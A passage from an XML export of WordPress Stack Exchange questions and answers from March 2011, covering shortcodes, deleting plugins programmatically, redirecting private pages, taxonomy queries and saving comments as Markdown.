$copyright;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after adding this code to your functions.php file on any page or post you want the copyright notice to show just add &lt;code&gt;[MY_COPY]&lt;/code&gt; inside the editor and Done!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-13T18:10:16.307" CommentCount="2" />
  <row Id="11933" PostTypeId="2" ParentId="11857" CreationDate="2011-03-13T18:34:29.927" Score="-1" ViewCount="" Body="&lt;p&gt;If you use the embed shortcode, you can specify parameters&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[­embed width=&quot;200&quot;]http://www.flickr.com/photos/xdjio/226228060/sizes/t/[/embed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can capture that shortcode using the method described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1774/how-to-display-a-shortcode-caption-somewhere-other-than-the-content&quot;&gt;How to display a shortcode caption somewhere other than the_content&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-03-13T18:34:29.927" CommentCount="1" />
  <row Id="11934" PostTypeId="1" AcceptedAnswerId="11936" CreationDate="2011-03-13T19:07:11.963" Score="0" ViewCount="57" Body="&lt;p&gt;I'd like to be able to automatically uninstall certain plugins if they're detected (specifically Akismet and Hello Dolly), either by writing another plugin to do so or via my theme's functions.php file. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-13T20:02:39.260" Title="Is it possible to uninstall one plugin from within another plugin?" Tags="&lt;plugins&gt;&lt;uninstallation&gt;" AnswerCount="2" />
  <row Id="11935" PostTypeId="2" ParentId="1954" CreationDate="2011-03-13T19:37:08.820" Score="2" ViewCount="" Body="&lt;p&gt;I'm not sure about the version of Markdown, but here's some plugins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/markdown-for-wordpress-and-bbpress/&quot; rel=&quot;nofollow&quot;&gt;markdown-for-wordpress-and-bbpress&lt;/a&gt; to get wordpress to render posts and comments in markdown format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For editors, I prefer &lt;a href=&quot;http://wordpress.org/extend/plugins/markdown-quicktags/&quot; rel=&quot;nofollow&quot;&gt;markdown-quicktags&lt;/a&gt;.  It has a bunch of auto-complete features, and seems to be the most actively updated markdown editor plugin.  You might also try &lt;a href=&quot;http://wordpress.org/extend/plugins/wmd-admin/&quot; rel=&quot;nofollow&quot;&gt;wmd-admin&lt;/a&gt; for the wmd editor (Same markdown editor as the stackexchange) or &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-markitup/&quot; rel=&quot;nofollow&quot;&gt;wp-markitup&lt;/a&gt; (not markdown specific)&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2011-03-13T19:37:08.820" />
  <row Id="11936" PostTypeId="2" ParentId="11934" CreationDate="2011-03-13T19:40:21.830" Score="1" ViewCount="" Body="&lt;p&gt;Sure, just call the delete_plugins() function, found in &lt;code&gt;wp-admin/includes/plugin.php&lt;/code&gt; - you have to manually require() it.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-13T19:40:21.830" />
  <row Id="11937" PostTypeId="1" AcceptedAnswerId="11947" CreationDate="2011-03-13T19:41:23.920" Score="0" ViewCount="109" Body="&lt;p&gt;I love markdown, and I have  the Wordpress &lt;a href=&quot;http://wordpress.org/extend/plugins/markdown-for-wordpress-and-bbpress/&quot; rel=&quot;nofollow&quot;&gt;markdown-for-wordpress-and-bbpress&lt;/a&gt; parsing markdown in my posts and comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've noticed that Wordpress saves the comments rendered in html format.  This makes it more difficult to go back and edit comments.  How can I get wordpress to save comments in markdown format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find a plugin for it.  Maybe there's an easy php hack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Cross posted from &lt;a href=&quot;http://stackoverflow.com/questions/5286163/how-can-i-get-wordpress-to-save-comments-in-markdown-format&quot;&gt;stackoverflow&lt;/a&gt;  I hope that's ok)&lt;/p&gt;&#xA;" OwnerUserId="3919" LastEditorUserId="3919" LastEditorDisplayName="" LastEditDate="2011-03-14T03:03:27.803" LastActivityDate="2011-08-03T07:31:42.703" Title="How can I get Wordpress to save comments in markdown format?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;php&gt;&lt;comments&gt;&lt;markup&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="11939" PostTypeId="2" ParentId="11934" CreationDate="2011-03-13T20:02:39.260" Score="1" ViewCount="" Body="&lt;p&gt;This'll deactivate and uninstall plugins you specify in the the &lt;code&gt;$to_deactivate&lt;/code&gt; and &lt;code&gt;$to_delete&lt;/code&gt; arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Due to the funky way WordPress activates plugins, we can't use an activation hook to do our work. Instead we check for the existence of an option, so as to ensure it only runs once per activation!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Plugin Name: My Remove Plugins&#xA; * Version: 0.1&#xA; */&#xA;&#xA;/**&#xA; * Deactivate and/or delete plugins.&#xA; */&#xA;function my_remove_plugins()&#xA;{&#xA;    $to_deactivate = array( 'Anti-Spam Email' );&#xA;    $to_delete     = array( 'Akismet' );&#xA;&#xA;    $deactivate_stack =&#xA;    $delete_stack     = array();&#xA;&#xA;    foreach ( get_plugins() as $plugin =&amp;gt; $data ) {&#xA;        if ( in_array( $data['Name'], $to_deactivate ) )&#xA;            $deactivate_stack[] = WP_PLUGIN_DIR . &quot;/$plugin&quot;;&#xA;&#xA;        elseif ( in_array( $data['Name'], $to_delete ) )&#xA;            $delete_stack[] = WP_PLUGIN_DIR . &quot;/$plugin&quot;;&#xA;    }&#xA;&#xA;    if ( !empty($deactivate_stack) || !empty($delete_stack) )&#xA;        deactivate_plugins( array_merge( $deactivate_stack, $delete_stack ), true );&#xA;&#xA;    if ( !empty($delete_stack) )&#xA;        $result = delete_plugins( array_map( 'plugin_basename', $delete_stack ) );&#xA;&#xA;    update_option( 'my_remove_plugins', 1 );&#xA;&#xA;    // refresh, otherwise deleted plugins will still show on first load&#xA;    wp_safe_redirect( $_SERVER['REQUEST_URI'] );&#xA;    exit;&#xA;}&#xA;&#xA;if ( is_admin() &amp;amp;&amp;amp; !get_option( 'my_remove_plugins' ) )&#xA;    add_action( 'admin_init', 'my_remove_plugins' );&#xA;&#xA;/**&#xA; * Clear out our option on deactivation.&#xA; */&#xA;function my_remove_plugins_deactivate()&#xA;{&#xA;    delete_option( 'my_remove_plugins' );&#xA;}&#xA;register_deactivation_hook( __FILE__, 'my_remove_plugins_deactivate')&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T20:02:39.260" />
  <row Id="11940" PostTypeId="2" ParentId="11842" CreationDate="2011-03-13T20:37:38.487" Score="0" ViewCount="" Body="&lt;p&gt;Christoph,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a main page which lists all (page &gt; events) ... you would need to create your own &quot;Loop&quot; ... see the codex for &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt; ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done that, then the code you have above could be modified to something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $events_meta_termine;&#xA;&#xA;$my_query = new WP_Query([GET-ONLY-THE-PAGES-THAT-USE-THE-META-BOX]);&#xA;&#xA;while ($my_query-&amp;gt;have_posts())&#xA;{&#xA;    $my_query-&amp;gt;the_post();&#xA;&#xA;    // echo page stuff&#xA;&#xA;    $meta = $events_meta_termine-&amp;gt;the_meta(get_the_ID());&#xA;&#xA;    foreach ($meta['termin_group'] as $termin) &#xA;    {&#xA;        // echo event stuff (for the current page)&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;REVISION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the example above would allow you to list all the events on a single page, it wouldn't be chronological ... you may need to do some filtering of the data prior to listing it on the page, e.g. constructing a custom array which takes into account the pages and each of the events per page and their dates. You would need to key off of the date and do some sorting.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditorDisplayName="" LastEditDate="2011-03-13T21:14:39.203" LastActivityDate="2011-03-13T21:14:39.203" CommentCount="1" />
  <row Id="11942" PostTypeId="2" ParentId="11427" CreationDate="2011-03-13T22:34:35.467" Score="2" ViewCount="" Body="&lt;p&gt;Firstly, I would have to agree with @fencepost's answer. However, I couldn't resist posting a solution, so here we are!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __intercept_private_page( $posts, &amp;amp;$wp_query )&#xA;{&#xA;    // remove filter now, so that on subsequent post querying we don't get involved!&#xA;    remove_filter( 'the_posts', '__intercept_private_page', 5, 2 );&#xA;&#xA;    if ( !( $wp_query-&amp;gt;is_page &amp;amp;&amp;amp; empty($posts) ) )&#xA;        return $posts; // bail, not page with no results&#xA;&#xA;    // if you want to explicitly check it *is* private, use the code block below:   &#xA;    /*&#xA;        if ( !empty( $wp_query-&amp;gt;query['page_id'] ) )&#xA;            $page = get_page( $wp_query-&amp;gt;query['page_id'] );&#xA;        else&#xA;            $page = get_page_by_path( $wp_query-&amp;gt;query['pagename'] );&#xA;&#xA;        if ( $page &amp;amp;&amp;amp; $page-&amp;gt;post_status == 'private' ) {&#xA;            // redirect&#xA;        }&#xA;    */&#xA;&#xA;    // otherwise assume that if the request was for a page, and no page was found, it was private&#xA;    wp_redirect( home_url(), 301 );&#xA;    exit;&#xA;}&#xA;is_admin() || add_filter( 'the_posts', '__intercept_private_page', 5, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Revised code to use &lt;code&gt;the_posts&lt;/code&gt; filter instead of &lt;code&gt;posts_results&lt;/code&gt; (which fires before WordPress checks permissions, and so &lt;code&gt;$posts&lt;/code&gt; hasn't been 'emptied' yet).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-03-14T22:35:19.900" LastActivityDate="2011-03-14T22:35:19.900" CommentCount="3" />
  <row Id="11943" PostTypeId="1" CreationDate="2011-03-13T23:41:15.727" Score="1" ViewCount="124" Body="&lt;p&gt;I want to list all terms of a specific taxonomy used in a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I have a taxonomy called 'Manufacturer' and a category 'Shoes'. Each post in this category has a term like 'Nike', 'Adidas' or 'Reebok' and of course there are some posts having the same term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the archive page I want to list all the terms used in this category and not terms like 'American Apparel', used in in the category &quot;Shirts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand my problem and have a good idea for solving this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Timo&lt;/p&gt;&#xA;" OwnerUserId="3923" LastActivityDate="2011-03-14T01:21:23.907" Title="List Terms in Category" Tags="&lt;categories&gt;&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="11944" PostTypeId="2" ParentId="11943" CreationDate="2011-03-14T00:02:25.393" Score="1" ViewCount="" Body="&lt;p&gt;This article might be helpful: &lt;a href=&quot;http://www.leewillis.co.uk/wordpress-taxonomies-to-create-a-product-directory/&quot; rel=&quot;nofollow&quot;&gt;http://www.leewillis.co.uk/wordpress-taxonomies-to-create-a-product-directory/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3756" LastActivityDate="2011-03-14T00:02:25.393" CommentCount="1" />
  <row Id="11945" PostTypeId="1" AcceptedAnswerId="11948" CreationDate="2011-03-14T00:13:44.057" Score="2" ViewCount="565" Body="&lt;ul&gt;&#xA;&lt;li&gt;I have 2 customs post type : &quot;Artist&quot; and &quot;Concert&quot;,&lt;/li&gt;&#xA;&lt;li&gt;the &quot;Concert&quot; custom post type is the child of the &quot;Artist&quot; custom post type,&lt;/li&gt;&#xA;&lt;li&gt;the &quot;Artist&quot; custom post type has a &quot;genre&quot; taxonomy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do (for instance): list all the concerts which belong to artists of the &quot;pop&quot; genre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the query of my dream:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT * FROM posts WHERE post_type = &quot;concert&quot; AND &lt;strong&gt;post_parent_term&lt;/strong&gt; = &quot;pop&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think currently there is no such thing as &lt;strong&gt;post_parent_term&lt;/strong&gt;, hope I'm wrong ...&#xA;(I know i can add the &quot;genre&quot; taxonomy to the &quot;Concert&quot; custom post type and voilà! But I'm really curious to know if there is another way to achieve that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance.&lt;/p&gt;&#xA;" OwnerUserId="3925" LastEditorUserId="3925" LastEditorDisplayName="" LastEditDate="2011-03-14T00:30:00.377" LastActivityDate="2011-03-14T01:11:01.310" Title="How to get the parent's taxonomy?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;taxonomy&gt;&lt;wp-query&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="11946" PostTypeId="2" ParentId="11945" CreationDate="2011-03-14T00:24:45.017" Score="0" ViewCount="" Body="&lt;p&gt;The parent page is stored in $post-&gt;post_parent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can just grab the parent post that way, and then ask it for it's taxonomy/category/tag info.&lt;/p&gt;&#xA;" OwnerUserId="3756" LastActivityDate="2011-03-14T00:24:45.017" />
  <row Id="11947" PostTypeId="2" ParentId="11937" CreationDate="2011-03-14T00:26:20.850" Score="2" ViewCount="" Body="&lt;p&gt;This is a tricky one, but very doable.&#xA;After looking at Mark's &lt;a href=&quot;http://wordpress.org/extend/plugins/markdown-on-save/&quot; rel=&quot;nofollow&quot;&gt;Markdown on Save&lt;/a&gt; plugin which does the exact thing you want but for posts content instead of comments i started thinking, that saving the comment content as Markdown would be bad because you would have to render the Markdown to HTML on-the-fly for each comment you display so the idea behind that plugin is that it saves the Markdown version as postmeta data and only displays it on the edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that is exactly what you need to do and i can help you in getting started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to save the Markdown version of the comment content in the comment meta table using &lt;code&gt;update_comment_meta&lt;/code&gt; and hooking it into &lt;code&gt;wp_insert_comment&lt;/code&gt; which fires right after the comment is inserted in to the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//on comment creation&#xA;add_action('wp_insert_comment','save_markdown_wp_insert_comment',10,2);&#xA;function save_markdown_wp_insert_comment($comment_ID,$commmentdata) {&#xA;    if (isset($_GET['comment'])){&#xA;        $markdown = $_GET['comment'];&#xA;    }elseif (isset($_POST['comment'])){&#xA;        $markdown = $_POST['comment'];&#xA;    }&#xA;    if (isset($markdown)){&#xA;        update_comment_meta($comment_ID,'_markdown',$markdown);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you need to show it on the comment edit screen using &lt;code&gt;get_comment_meta&lt;/code&gt; and we hook it into &lt;code&gt;comment_edit_pre&lt;/code&gt; filter which fires before the edit comment screen is displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//on comment edit screen&#xA;add_filter('comment_edit_pre','load_markdown_on_commet_edit',10,1);&#xA;function load_markdown_on_commet_edit($content){&#xA;    $markdown = get_comment_meta($comment_ID,'_markdown',true);&#xA;    if (isset($markdown) &amp;amp;&amp;amp; $markdown != '' &amp;amp;&amp;amp; $markdown != false){&#xA;        return $markdown;&#xA;    }&#xA;    return $content;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Last we once again need to save the new Markdown version of the comment as comment meta data using once again &lt;code&gt;update_comment_meta&lt;/code&gt; and we hook it into &lt;code&gt;edit_comment&lt;/code&gt; which fires after a comment is updated/edited in the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//after comment edit screen&#xA;add_action('edit_comment','save_markdown_after_edit',10,2);&#xA;function save_markdown_after_edit($comment_ID){&#xA;    if (isset($_POST['content'])){&#xA;        update_comment_meta($comment_ID,'_markdown',$_POST['content']);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I'm not sure how safe and secure this is or if this even works but it looks right to me and i'll leave this as a community wiki so everyone who knows better is welcome to correct me. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T00:26:20.850" CommunityOwnedDate="2011-03-14T00:26:20.850" CommentCount="1" />
  <row Id="11948" PostTypeId="2" ParentId="11945" CreationDate="2011-03-14T00:32:21.407" Score="3" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I'm trying to do (for instance):&#xA;  list all the concerts which belong to&#xA;  artists of the &quot;pop&quot; genre.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can do it in two steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// 1. Get all the pop artist IDs&#xA;$artist_ids = get_posts( array(&#xA;  'fields' =&amp;gt; 'ids',&#xA;  'post_type' =&amp;gt; 'artist',&#xA;  'genre' =&amp;gt; 'pop'&#xA;) );&#xA;&#xA;// 2. Get all the concerts associated to those artists&#xA;$artist_ids = implode( ',', array_map( 'absint', $artist_ids ) );&#xA;&#xA;$concerts = $wpdb-&amp;gt;get_results( &quot;&#xA;  SELECT * FROM $wpdb-&amp;gt;posts&#xA;  WHERE post_type = 'concert'&#xA;  AND post_status = 'publish'&#xA;  AND post_parent IN ({$artist_ids})&#xA;  ORDER BY post_date DESC&#xA;&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a post_parent argument in WP_Query, but it &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16850&quot; rel=&quot;nofollow&quot;&gt;doesn't accept an array&lt;/a&gt;, hence the direct query.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-14T01:11:01.310" LastActivityDate="2011-03-14T01:11:01.310" CommentCount="2" />
  <row Id="11949" PostTypeId="2" ParentId="11945" CreationDate="2011-03-14T00:45:39.087" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if its the right way but you could create nested loops:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//first get all artists with the term pop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'genre',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; 'pop'&#xA;        ))&#xA;    'post_type' =&amp;gt; 'Artist',&#xA;    'posts_per_page' =&amp;gt; -1&#xA;    );&#xA;$Artists = new WP_Query( $args );&#xA;//loop through them and get there child posts of concerts &#xA;if ( $Artists-&amp;gt;have_posts() ) { &#xA;    while ( $Artists-&amp;gt;have_posts() ) {&#xA;        $Artists-&amp;gt;the_post();&#xA;        $last_artist = $post;&#xA;        $Concerts = new WP_Query();&#xA;        $Concerts-&amp;gt;query(array(&#xA;                        'post_type' =&amp;gt; 'concert',&#xA;                        'posts_per_page' =&amp;gt; -1,&#xA;                        'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;                        ));&#xA;        while ( $Concerts-&amp;gt;have_posts() ) {&#xA;            $Concerts-&amp;gt;the_post();&#xA;            //do concert stuff here&#xA;            //the_title();&#xA;            //the_content();&#xA;        }&#xA;        wp_reset_postdata();&#xA;        $post = $last_artist;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T00:45:39.087" CommentCount="1" />
  <row Id="11950" PostTypeId="2" ParentId="11943" CreationDate="2011-03-14T01:21:23.907" Score="1" ViewCount="" Body="&lt;p&gt;Since you are in a category the your query will get the posts of that category, you only need to add 'posts_per_page' =&gt; -1 to that query so it will get you all the posts in that category and not the default &quot;at most&quot; number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; query_posts( $query_string . '&amp;amp;posts_per_page=-1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will will give you all of the posts of that category as we said before, next you loop through the posts and collect the terms in to an array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Manufacturer = array();&#xA;while (have_posts()){&#xA;    // loop over the posts and collect thier term ID's into $Manufacturer array&#xA;    the_posts();&#xA;    $terms =wp_get_object_terms($post-&amp;gt;ID,'Manufacturer');&#xA;    if (count($terms)) {&#xA;        foreach ($terms as $term){&#xA;            if (!in_array($term-&amp;gt;term_id,$Manufacturer)){&#xA;                $Manufacturer[] = $term-&amp;gt;term_id;&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;//here you have an array $Manufacturer with the id's of only terms with posts in the current category&#xA;//so you can do what ever you want with them.&#xA;//rewind the posts so you could display them normally without creating a new WP_query object&#xA;rewind_posts();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T01:21:23.907" CommentCount="0" />
  <row Id="11951" PostTypeId="1" AcceptedAnswerId="11964" CreationDate="2011-03-14T01:49:21.183" Score="0" ViewCount="141" Body="&lt;p&gt;I set &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_filter( 'http_request_redirection_count', array($instance,'SetDirectionCount'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to get 'http://boards.ign.com/The_Vestibule/b5296/' or 'http://www.informationweek.com/story/' but that gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; WP_Error Object ( [errors] =&amp;gt; Array ( [http_request_failed] &#xA; =&amp;gt; Array ( [0] =&amp;gt; Maximum (0) redirects followed ) ) [error_data] =&amp;gt; Array ( ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The head does not show me a redirection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [headers] =&amp;gt; Array ( [connection] =&amp;gt; close [date] =&amp;gt; &#xA;Mon, 14 Mar 2011 01:40:19 GMT [server] =&amp;gt; Microsoft-IIS/6.0 [p3p] =&amp;gt; Array ( [0] =&amp;gt;  &#xA;CP='NOI ADMa OUR STP' [1] =&amp;gt; CP=&quot;TST&quot; ) [x-powered-by] =&amp;gt; ASP.NET [cluster-server] =&amp;gt; \      ignprdappw64212 [x-aspnet-version] =&amp;gt; 2.0.50727 [pragma] =&amp;gt; no-cache [x-aspnetmvc-version] &#xA;=&amp;gt; 1.0 [set-cookie] =&amp;gt; BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&amp;amp;ra=False; expires=Wed,     14-Mar-2012 01:40:19 GMT; path=/; HttpOnly [cache-control] =&amp;gt; private [expires] =&amp;gt; Wed, 14     &#xA;Mar 2001 01:40:19 GMT [content-type] =&amp;gt; text/html; charset=utf-8 ) [body] =&amp;gt; [response]   =&amp;gt;   &#xA;Array ( [code] =&amp;gt; 200 [message] =&amp;gt; OK ) [cookies] =&amp;gt; Array ( [0] =&amp;gt; WP_Http_Cookie &#xA;Object ( [name] =&amp;gt; BoardCookieV3%5Fboards%2Eign%2Ecom [value] =&amp;gt; dc=no&amp;amp;ra=False   &#xA;[expires] =&amp;gt; 1331689219 [path] =&amp;gt; / [domain] =&amp;gt; [httponly] =&amp;gt; ) ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now... what I would have liked is information back from the head request that a 301 or 302 would be happening or even a 404, so that I could wp_remote_get that one instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: I need to manually redirect because I need to determine the base_href of an image if none is given in the HTML source (code: &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-favicons/trunk/includes/class-http.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/wp-favicons/trunk/includes/class-http.php&lt;/a&gt; ) or some more background: &lt;a href=&quot;http://wp.leau.co/2011/03/18/handling-redirects-for-wp-favicons-with-redirects-set-to-0-with-wordpress-wp_remote_get/&quot; rel=&quot;nofollow&quot;&gt;http://wp.leau.co/2011/03/18/handling-redirects-for-wp-favicons-with-redirects-set-to-0-with-wordpress-wp_remote_get/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-19T03:54:49.270" LastActivityDate="2011-03-19T03:54:49.270" Title="Wp Remote get with manual redirect" Tags="&lt;redirect&gt;&lt;http&gt;&lt;wp-remote-request&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11953" PostTypeId="1" AcceptedAnswerId="11954" CreationDate="2011-03-14T02:41:59.363" Score="1" ViewCount="215" Body="&lt;p&gt;I am reading the book Professional Wordpress, and have code like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = apply_filters('widget_title', $instance['title']);&#xA;$name = apply_filters('widget_name', $instance['name']);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wonder if there really are filters like &lt;code&gt;widget_xxx&lt;/code&gt;? What do they do?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-14T03:05:08.050" LastActivityDate="2011-03-14T03:05:08.050" Title="Is there a need to do apply_filter('widget_title', $instance['title']) or any other 'widget_xxx' filters?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="11954" PostTypeId="2" ParentId="11953" CreationDate="2011-03-14T03:03:33.137" Score="2" ViewCount="" Body="&lt;p&gt;For example, it makes them editable using the &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the cool widgets are doing it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/default-widgets.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/default-widgets.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-14T03:03:33.137" />
  <row Id="11955" PostTypeId="1" AcceptedAnswerId="11969" CreationDate="2011-03-14T05:05:15.843" Score="0" ViewCount="71" Body="&lt;p&gt;I want to develop a plugin that generates a page and embeds the page link in pages menu in the client part at the time of plugin activation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me with this.&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2011-03-14T10:25:14.147" Title="How can I develop a plugin that generates a page dynamically" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="11957" PostTypeId="1" CreationDate="2011-03-14T06:05:01.017" Score="1" ViewCount="182" Body="&lt;p&gt;I've tried to follow a guide that explain how to do so but failed and I don't know why it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guide:&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/unique-header-image-for-each-post&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/unique-header-image-for-each-post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In my posts (WP GUI), I've added a custom field named 'PostTitle'.&#xA;The value of these Posts are 153 &amp;amp; 156 as the post IDs numbers.&#xA;Furthermore, I've uploaded two title pictures to my theme images directory:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://letthemstare.com/wp-content/themes/manifest_v1.1/images/153.jpg&quot; rel=&quot;nofollow&quot;&gt;http://letthemstare.com/wp-content/themes/manifest_v1.1/images/153.jpg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://letthemstare.com/wp-content/themes/manifest_v1.1/images/156.jpg&quot; rel=&quot;nofollow&quot;&gt;http://letthemstare.com/wp-content/themes/manifest_v1.1/images/156.jpg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under header.php , I've added the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ID, $myfield, true);&#xA;?&gt;&#xA;  